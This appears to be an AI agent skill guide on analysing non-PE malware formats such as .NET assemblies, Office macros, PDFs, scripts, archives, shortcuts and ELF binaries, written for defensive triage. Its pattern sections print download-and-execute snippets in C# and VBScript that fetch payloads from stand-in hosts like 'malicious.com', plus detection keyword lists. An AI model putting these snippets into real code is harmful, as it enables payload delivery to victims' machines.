Specialized File Analyzer

Specialized File Analyzer

Expert analysis of non-PE file formats commonly used in malware campaigns: .NET, Office documents, PDFs, scripts, archives, and Linux binaries.

When to Use This Skill

Use this skill when analyzing:

• .NET/C# assemblies (.exe, .dll with .NET framework)
• Office documents with macros (.docm, .xlsm, .doc, .xls)
• PDF files (suspicious attachments, exploit documents)
• Scripts (PowerShell .ps1, VBScript .vbs, JavaScript .js)
• Archives (.zip, .rar, .7z, .tar.gz)
• Shortcuts (.lnk files)
• Linux binaries (ELF executables)
• Batch files (.bat, .cmd)

Key indicator: file command shows non-PE32 executable or document type.

Quick File Type Identification

# Identify file type
file sample.bin

# Common outputs:
# "PE32+ console executable, for MS Windows" → Standard PE (use malware-triage)
# "PE32 executable (GUI) Intel 80386 Mono/.Net assembly" → .NET (use this skill)
# "Microsoft Office Document" → Office macro (use this skill)
# "PDF document, version 1.7" → PDF (use this skill)
# "Zip archive data" → Archive (use this skill)
# "ELF 64-bit LSB executable" → Linux binary (use this skill)
# "ASCII text, with CRLF line terminators" → Script (use this skill)

.NET / C# Assembly Analysis

Detection

# Check for .NET assembly
file sample.exe | grep "Mono/.Net assembly"

# Or check strings
strings sample.exe | grep "mscoree.dll"

# Check PE header
pe-parser sample.exe | grep "CLR Runtime"

Tool: dnSpy (Windows - Primary Tool)

Download: https://github.com/dnSpy/dnSpy

Workflow:

1. Open sample.exe in dnSpy
2. Navigate: Assembly Explorer → sample.exe → Namespace → Classes
3. Find entry point: Right-click assembly → Go to Entry Point

What to Look For:

Main() Function:

// Entry point - start here
public static void Main(string[] args)
{
    // Analyze execution flow
}

Suspicious Namespaces:

• System.Net - Network operations (WebClient, HttpClient)
• System.Security.Cryptography - Encryption/decryption
• System.Reflection - Dynamic code loading
• System.Diagnostics.Process - Process execution
• System.IO - File operations
• Microsoft.Win32 - Registry access

Common Malicious Patterns:

// Download and execute
WebClient wc = new WebClient();
wc.DownloadFile("http://malicious.com/payload.exe", "C:\\temp\\payload.exe");
Process.Start("C:\\temp\\payload.exe");

// Base64 decode embedded payload
byte[] decoded = Convert.FromBase64String(encodedPayload);

// Reflective loading
Assembly.Load(byte[] rawAssembly);

// Process injection
WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, out lpNumberOfBytesWritten);

Extract Embedded Resources:

Assembly Explorer → Right-click assembly → Resources
Look for:
- Embedded executables (byte arrays)
- Encrypted payloads
- Configuration data
- Icons (may hide data)

Right-click resource → Save

Deobfuscation:

# Using de4dot (automated deobfuscator)
de4dot sample.exe -o sample_deobfuscated.exe

# Handles common obfuscators:
# - ConfuserEx
# - .NET Reactor
# - Eazfuscator
# - Agile.NET

Dynamic Debugging:

dnSpy: Debug → Start Debugging (F5)
Set breakpoints on suspicious functions
Step through execution (F10/F11)
Watch variables and decrypted strings

Tool: ILSpy (Cross-platform Alternative)

# Command-line decompilation
ilspycmd sample.exe -o output_directory/

# GUI version (Windows/Linux/Mac)
ilspy sample.exe

Export decompiled code:

File → Save Code → C# Project

Analysis Checklist - .NET

• Entry point identified (Main function)
• Obfuscation detected and removed (if needed)
• Embedded resources extracted
• Network URLs/IPs extracted
• Crypto keys identified
• Anti-analysis checks found
• Payload execution method documented
• IOCs extracted (URLs, IPs, file paths)

Office Document / Macro Analysis

Detection

# Macro-enabled formats
# .docm, .xlsm, .pptm → Office 2007+ with macros
# .doc, .xls, .ppt → Legacy Office (97-2003) with macros

file document.docm
# Output: "Microsoft Word 2007+"

# Quick macro check
strings document.docm | grep -i "vba\|macro\|autoopen"

Tool: oledump.py (Primary - Didier Stevens)

Installation:

wget https://didierstevens.com/files/software/oledump_V0_0_70.zip
unzip oledump_V0_0_70.zip

Workflow:

1. List Streams:

python oledump.py document.docm

# Example output:
#  1:       114 '\x01CompObj'
#  2:      4096 '\x05DocumentSummaryInformation'
#  3: M    8192 'Macros/VBA/ThisDocument'  ← Macro present (M indicator)
#  4: m    1024 'Macros/VBA/_VBA_PROJECT'
#  5: M    4096 'Macros/VBA/Module1'

2. Extract Macro Code:

# Extract macro from stream 3
python oledump.py -s 3 -v document.docm

# Decompress corrupted VBA
python oledump.py -s 3 --vbadecompresscorrupt document.docm

# Save to file
python oledump.py -s 3 -v document.docm > extracted_macro.vba

3. Analyze Macro Code:

Look for Auto-Execution Functions:

Sub AutoOpen()          ' Word - runs on document open
Sub Document_Open()     ' Word - runs on document open
Sub Workbook_Open()     ' Excel - runs on workbook open
Sub Auto_Open()         ' Excel - runs on workbook open

Look for Suspicious VBA Functions:

' Command execution
Shell("cmd.exe /c powershell ...")
CreateObject("WScript.Shell").Run "..."

' File download
CreateObject("MSXML2.XMLHTTP")
URLDownloadToFile ...

' File system operations
CreateObject("Scripting.FileSystemObject")

' Dynamic code execution
ExecuteStatement
Eval()
CallByName()

Tool: olevba (oletools Suite)

Installation:

pip install oletools

Automated Analysis:

# Comprehensive analysis
olevba document.docm

# Decode obfuscated strings
olevba --decode document.docm

# JSON output for parsing
olevba -j document.docm > analysis.json

# Extract IOCs only
olevba --decode document.docm | grep -E "http|https|powershell|cmd|wscript"

Output Interpretation:

• AutoExec - Auto-execution keywords found
• Suspicious - Suspicious VBA keywords
• IOCs - URLs, IPs, file paths
• Hex Strings - Encoded data
• Base64 Strings - Encoded payloads
• Dridex Strings - Dridex malware indicators

Excel 4.0 Macros (XLM Macros)

More evasive than VBA macros!

# Detect XLM macros
python oledump.py document.xls | grep XL

# Extract with XLMMacroDeobfuscator
git clone https://github.com/DissectMalware/XLMMacroDeobfuscator
python XLMMacroDeobfuscator.py -f document.xls

# Or use olevba
olevba document.xls --deobf

Modern Office Documents (.docx, .xlsx) - No Macros

Template Injection Attack:

# Extract Office Open XML structure
unzip document.docx -d extracted/

# Check for external template
cat extracted/word/_rels/document.xml.rels | grep "http"

# Look for:
# <Relationship Type="http://schemas.../attachedTemplate"
#              Target="http://malicious.com/template.dotm" TargetMode="External"/>

Embedded Objects:

# Check for embedded files
ls extracted/word/embeddings/

# Analyze embedded objects
file extracted/word/embeddings/*

Analysis Checklist - Office Documents

• Macro presence confirmed
• All macro streams extracted
• Auto-execution functions identified
• Obfuscated strings decoded
• Download URLs extracted
• Payload execution method documented
• External template checked (.docx/.xlsx)
• Embedded objects analyzed
• IOCs extracted and defanged

PDF Analysis

Detection

file document.pdf
# Output: "PDF document, version 1.7"

Tool: pdfid.py (Didier Stevens)

Quick Triage:

python pdfid.py document.pdf

# Red flags:
# /OpenAction   - Executes action on open
# /AA           - Additional actions (auto-execute)
# /JavaScript   - Embedded JavaScript
# /JS           - JavaScript (short form)
# /Launch       - Launch external program
# /EmbeddedFile - Embedded files
# /RichMedia    - Flash/multimedia content
# /ObjStm       - Object streams (can hide malicious content)

Example Output:

PDFiD 0.2.7 document.pdf
 PDF Header: %PDF-1.7
 obj                   45
 endobj                45
 stream                12
 endstream             12
 /Page                  5
 /Encrypt               0
 /ObjStm                0
 /JS                    3  ← Suspicious!
 /JavaScript            2  ← Suspicious!
 /AA                    1  ← Auto-action present!
 /OpenAction            1  ← Executes on open!
 /Launch                0
 /EmbeddedFile          0
 /RichMedia             0

Tool: pdf-parser.py (Didier Stevens)

Extract JavaScript:

# Search for JavaScript objects
python pdf-parser.py --search javascript document.pdf

# Extract specific object
python pdf-parser.py --object 15 document.pdf

# Dump JavaScript code
python pdf-parser.py --object 15 --raw document.pdf > extracted_js.txt

# Filter streams
python pdf-parser.py --filter document.pdf

Tool: peepdf (Interactive Analysis)

# Install
pip install peepdf

# Interactive mode
peepdf -i document.pdf

# Commands in interactive shell:
> tree             # Show object structure
> object 15        # Inspect object 15
> stream 15        # View stream 15
> javascript       # Extract all JavaScript
> extract stream 15 > payload.bin

PDF Exploits

Common CVEs:

• CVE-2013-2729 - JavaScript heap spray
• CVE-2010-0188 - libtiff buffer overflow
• CVE-2009-0927 - JBIG2Decode heap overflow

Shellcode Detection:

# Look for shellcode in streams
python pdf-parser.py --raw --filter document.pdf | grep -E "(\x90{10}|\xeb)"

# Extract suspicious streams
python pdf-parser.py --object <id> --raw document.pdf | hexdump -C

Analysis Checklist - PDF

• pdfid scan completed (flags identified)
• JavaScript extracted (if present)
• Embedded files extracted
• Auto-action mechanism documented
• Shellcode indicators checked
• CVE exploitation checked (if relevant)
• URLs/IPs extracted from JS
• IOCs documented

PowerShell / Script Analysis

PowerShell (.ps1) Deobfuscation

Common Obfuscation Patterns:

Base64 Encoding:

# Encoded command execution
powershell.exe -EncodedCommand <base64_string>

# Decode manually
$encoded = "Base64StringHere"
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))

String Concatenation:

$url = "ht" + "tp://" + "evil.com"

Compression:

$ms = New-Object IO.MemoryStream
$ms.Write([Convert]::FromBase64String($compressed), 0, $compressedLength)
$ms.Seek(0,0) | Out-Null
$cs = New-Object IO.Compression.GZipStream($ms, [IO.Compression.CompressionMode]::Decompress)

Tool: PSDecode

# Install
git clone https://github.com/R3MRUM/PSDecode

# Deobfuscate PowerShell
Import-Module .\PSDecode.ps1
PSDecode -InputFile malicious.ps1 -OutputFile decoded.txt

Manual Analysis:

# Read script without executing
Get-Content malicious.ps1

# Search for key indicators
Select-String -Path malicious.ps1 -Pattern "Invoke-Expression|IEX|DownloadString|DownloadFile|FromBase64String"

Suspicious PowerShell Patterns:

• Invoke-Expression / IEX - Execute string as code
• Invoke-WebRequest / Invoke-RestMethod - Download content
• DownloadString / DownloadFile - Download payloads
• FromBase64String - Decode embedded payload
• IO.Compression.GzipStream - Decompress payload
• Reflection.Assembly]::Load - Load assembly from memory
• -EncodedCommand - Base64 encoded command
• -WindowStyle Hidden - Hide window
• -ExecutionPolicy Bypass - Bypass script execution policy

VBScript (.vbs) Analysis

' Common malicious patterns:

' Command execution
CreateObject("WScript.Shell").Run "cmd.exe /c ..."

' HTTP download
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
objHTTP.Open "GET", "http://malicious.com/payload.exe", False
objHTTP.Send

' File operations
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFile = objFSO.CreateTextFile("C:\payload.exe", True)

' Dynamic execution
Eval(encodedCode)
Execute(decodedPayload)

Analysis:

# Read script
cat malicious.vbs

# Search for patterns
grep -i "CreateObject\|WScript.Shell\|MSXML2.XMLHTTP\|Eval\|Execute" malicious.vbs

# Deobfuscate: Replace Eval() with WScript.Echo() to print instead of execute

JavaScript (.js) Analysis

# Beautify obfuscated JS
cat malicious.js | js-beautify > beautified.js

# Online: https://beautifier.io/

Suspicious Patterns:

// Code execution
eval(encodedCode);

// Decode strings
unescape("%75%6E%65%73%63%61%70%65");
decodeURIComponent("%20");

// ActiveX (Windows COM objects)
var shell = new ActiveXObject("WScript.Shell");
shell.Run("cmd.exe /c ...");

// WScript objects
var fso = new ActiveXObject("Scripting.FileSystemObject");

Analysis Checklist - Scripts

• Script type identified (PS1, VBS, JS, BAT)
• Obfuscation detected and removed
• Base64/encoded strings decoded
• Download URLs extracted
• Execution commands documented
• Dropped file paths identified
• IOCs extracted (URLs, IPs, domains)

Archive Analysis

Safe Inspection (No Extraction)

# List contents without extracting
7z l archive.zip
unzip -l archive.zip
tar -tzf archive.tar.gz
rar l archive.rar

# Look for red flags:
# - Double extensions (invoice.pdf.exe)
# - Executable files (.exe, .scr, .com, .bat, .vbs)
# - LNK files (shortcuts)
# - Deeply nested archives (archive.zip -> archive2.zip -> payload.exe)

Extract Safely

# Create isolated directory
mkdir /tmp/extracted_archive
cd /tmp/extracted_archive

# Extract
7z x ../archive.zip
unzip ../archive.zip
tar -xzf ../archive.tar.gz

# Immediately check file types
file *

Password-Protected Archives

Common passwords in malware:

• infected
• malware
• virus
• 2024 / 2025
• 123456

# Extract with password
7z x -pinfected archive.zip
unzip -P infected archive.zip

LNK (Shortcut) File Analysis

Tool: LECmd (Windows)

# Download from: https://ericzimmerman.github.io/
LECmd.exe -f malicious.lnk

Tool: lnkinfo (Linux)

lnkinfo malicious.lnk

# Look for:
# - Target path (what it executes)
# - Command-line arguments
# - Working directory
# - Icon location (may reveal payload location)

Manual Strings Analysis:

strings malicious.lnk | grep -E "\.exe|\.dll|http|powershell|cmd"

Analysis Checklist - Archives

• Contents listed without extraction
• File extensions verified (no double extensions)
• Files extracted to isolated directory
• All extracted files typed (file command)
• LNK files analyzed (if present)
• Nested archives checked
• Password documented (if applicable)

Linux / ELF Binary Analysis

Detection

file sample.bin
# Output: "ELF 64-bit LSB executable, x86-64"

Static Analysis

ELF Header:

readelf -h sample.bin

# Shows:
# - Architecture (x86, x86-64, ARM)
# - Entry point address
# - Program header offset
# - Section header offset

Sections:

readelf -S sample.bin

# Look for suspicious sections:
# - High entropy sections (encrypted/packed)
# - Unusual section names
# - RWX sections (read-write-execute)

Imported Libraries:

ldd sample.bin

# Look for:
# - libssl.so (crypto/network)
# - libc.so (standard)
# - Unusual paths (/tmp/lib.so)

Imported Symbols:

nm -D sample.bin
objdump -T sample.bin

# Search for suspicious functions:
nm -D sample.bin | grep -E "socket|connect|fork|exec|ptrace|system"

Strings:

strings -a sample.bin | grep -E "http|/tmp|/etc|passwd"

Dynamic Analysis (Linux)

strace - System Call Monitoring:

# Monitor all system calls
strace -f ./sample.bin 2>&1 | tee strace_output.txt

# Monitor specific calls
strace -e trace=network,file,process ./sample.bin

# File operations only
strace -e trace=open,read,write,close ./sample.bin

# Network operations only
strace -e trace=socket,connect,send,recv ./sample.bin

ltrace - Library Call Monitoring:

ltrace -f ./sample.bin 2>&1 | tee ltrace_output.txt

Check for Packing:

# UPX detection
readelf -S sample.bin | grep UPX

# Unpack UPX
upx -d sample.bin -o sample_unpacked.bin

Analysis Checklist - ELF

• Architecture identified (x86/x64/ARM)
• Imported libraries documented
• Suspicious functions identified
• Packing detected and removed (if UPX)
• Strings extracted and analyzed
• System calls monitored (strace)
• Network activity captured
• File operations documented

Integration with Report Writing

Each file type contributes specific sections to the malware analysis report:

.NET Analysis →

• Decompiled code snippets
• Embedded resource descriptions
• Obfuscation techniques used
• Reflective loading mechanisms

Office Macros →

• Macro code (sanitized)
• Auto-execution methods
• Download URLs
• Payload dropping process

PDF Analysis →

• Embedded JavaScript
• Auto-action triggers
• Exploit CVEs (if applicable)
• Shellcode presence

Scripts →

• Deobfuscated code
• Execution flow
• Download cradles
• C2 communications

Archives/LNK →

• Archive structure
• Masquerading techniques
• LNK target analysis
• Social engineering aspects

ELF Binaries →

• System calls used
• Network protocols
• Persistence mechanisms (cron, systemd)
• Rootkit indicators

Tool Quick Reference

Best Practices

Do:

• Always identify file type first (file command)
• Extract in isolated environments
• Document obfuscation techniques
• Save original and deobfuscated versions
• Test extracted IOCs for accuracy
• Cross-reference with VirusTotal/MalwareBazaar

Don't:

• Execute scripts without understanding them first
• Trust file extensions (check magic bytes)
• Skip deobfuscation steps
• Extract archives directly to important directories
• Assume password-protected = safe

Example Usage

User request: "I have a suspicious .docm file with macros, help me analyze it"

Workflow:

1. Confirm file type (Office document)
2. Use oledump.py to list streams
3. Extract VBA macro code
4. Identify auto-execution functions
5. Decode obfuscated strings
6. Extract download URLs and IOCs
7. Document payload delivery method
8. Prepare findings for report

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